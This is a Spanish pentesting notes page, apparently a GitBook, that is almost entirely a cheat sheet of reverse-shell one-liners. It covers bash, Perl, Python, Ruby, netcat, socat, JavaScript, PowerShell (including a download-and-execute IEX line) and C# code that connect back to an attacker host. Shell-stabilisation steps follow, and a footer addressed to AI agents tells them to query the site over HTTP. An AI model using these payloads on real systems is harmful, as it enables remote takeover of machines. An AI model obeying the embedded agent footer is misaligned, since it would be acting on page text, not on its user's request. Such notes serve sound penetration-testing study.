# Reverse Shell

## Linux

| Lenguaje   | Comando                                                                                                                                                                                                                                                                  | Descripción                                                                                                                                         |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| Bash       | `bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1`                                                                                                                                                                                                                     | Inicia un shell interactiva de Bash y redirige la entrada/salida estándar a una conexión TCP inversa.                                               |
| Perl       | `perl -e 'use Socket;$i="ATTACKER_IP";$p=ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`                                  | Inicia un shell interactiva de Bash utilizando el intérprete Perl, estableciendo una conexión TCP inversa a través del socket.                      |
| Python     | `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`                           | Inicia un shell interactiva de Bash utilizando el intérprete Python, estableciendo una conexión TCP inversa a través del socket.                    |
| Ruby       | `ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",ATTACKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`                                                                                                                                                  | Inicia un shell interactiva de Bash utilizando el intérprete Ruby, estableciendo una conexión TCP inversa a través del socket.                      |
| Netcat     | `nc -e /bin/sh ATTACKER_IP ATTACKER_PORT`                                                                                                                                                                                                                                | Inicia un shell interactiva de Bash utilizando la utilidad de red Netcat, estableciendo una conexión TCP inversa y ejecutando el comando `/bin/sh`. |
| Socat      | `socat tcp-connect:ATTACKER_IP:ATTACKER_PORT exec:/bin/sh,pty,stderr,setsid,sigint,sane`                                                                                                                                                                                 | Inicia un shell interactiva de Bash utilizando la utilidad de red Socat, estableciendo una conexión TCP inversa y ejecutando el comando `/bin/sh`.  |
| mkfifo     | `mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f \| /bin/sh >/tmp/f 2>&1; rm /tmp/f`                                                                                                                                                                                        | Inicia una shell interactiva de bash pero más segura                                                                                                |
| JavaScript | `(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4443, "ip", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();` | Reverse shell para JavaScript                                                                                                                       |

{% embed url="<https://www.revshells.com/>" %}

## Windows

| Lenguaje      | Comando                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Descripción                                                                                                                                                                                                                                               |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Powershell    | `$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" \| Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Inicia una shell interactiva con Powershell                                                                                                                                                                                                               |
| Powershell    | powershell IEX(New-Object Net.WebClient).downloadString('[http://](http://10.10.14.12:9000/Invoke-PowerShellTcp.ps1'\))\<IP>:PORT[/Invoke-PowerShellTcp.ps1')](http://10.10.14.12:9000/Invoke-PowerShellTcp.ps1'\))                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Con el script de github Invoke-Powershelltcp.ps1 <https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1> En el script tienes que añadirle al final el Invoke-PowerShellTcp -Reverse -IPAddress \<TU IP> -Port 4444 |
| C#            | `using System;using System.Net.Sockets;using System.Diagnostics;using System.IO;using System.Runtime.InteropServices;namespace ReverseShell{public class Program{public static void Main(string[] args){try{TcpClient client = new TcpClient("ATTACKER_IP", ATTACKER_PORT);Stream stream = client.GetStream();StreamReader rdr = new StreamReader(stream);StreamWriter wtr = new StreamWriter(stream);Process p = new Process();p.StartInfo.FileName = "cmd.exe";p.StartInfo.CreateNoWindow = true;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardInput = true;p.StartInfo.RedirectStandardError = true;p.OutputDataReceived += new DataReceivedEventHandler((s, e) =>{if (!String.IsNullOrEmpty(e.Data)){wtr.WriteLine(e.Data);wtr.Flush();}});p.ErrorDataReceived += new DataReceivedEventHandler((s, e) =>{if (!String.IsNullOrEmpty(e.Data)){wtr.WriteLine(e.Data);wtr.Flush();}});p.Start();p.BeginOutputReadLine();p.BeginErrorReadLine();while (true){if (stream.DataAvailable){byte[] bytes = new byte[client.ReceiveBufferSize];stream.Read(bytes, 0, bytes.Length);string msg = System.Text.Encoding.ASCII.GetString(bytes);p.StandardInput.Write(msg);}}}}catch(Exception){}}}}` | Inicia un shell interactiva de CMD utilizando el lenguaje de programación C# y establece una conexión TCP inversa a través de una instancia de `System.Net.Sockets.TCPClient`.                                                                            |
| Python        | `python -c "import subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',ATTACKER_PORT));subprocess.Popen(['/bin/sh','-i'],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Inicia un shell interactiva de CMD utilizando el intérprete Python y establece una conexión TCP inversa a través de una instancia de `socket.socket`.                                                                                                     |
| Netcat        | `nc.exe -e cmd.exe ATTACKER_IP ATTACKER_PORT`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Inicia un shell interactiva de CMD utilizando la utilidad de red Netcat, estableciendo una conexión TCP inversa y ejecutando el comando `cmd.exe`.                                                                                                        |
| Metasploit    | \`msfvenom -p windows/shell\_reverse                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                           |
| Socat Windows | `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Esta Reverse shell es solamente para Windows                                                                                                                                                                                                              |
| Socat Linux   | `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Establece la conexión con el listener                                                                                                                                                                                                                     |

## Tratamiento TTY

Una vez tengamos la reverse shell no podemos realizar los comandos como Ctrl +C , Ctrl + L así que tenemos que hacer este proceso para que si hacemos esos comandos no perder la reverse shell

### Linux

```
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export BASH=bash
# Ver cuantas filas y columnas tenemos en nuestra shell
stty size <filas> <columnas>
stty rows <numero> columns <columnas>
Lo que haya salido lo ponemos en la reverse shell y ya estaría
```

### Windows

#### rlwrap

Con windows podemos utilizar el programa rlwrap que lo que hace es darnos acceso al autocompletado y poder utulizar las flechas del teclado, pero aun así deberíamos tratar la shell para poder hacer Control+C

```
rlwrap nc -lvnp <PORT>
Una vez tengamos la shell hacer lo siguiente
CTRL+Z
stty raw -echo; fg
```

rlwrap no viene instalado por defecto, así que habría que instalarlo `sudo apt install rlwrap`

#### Socat

```
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/shells/reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
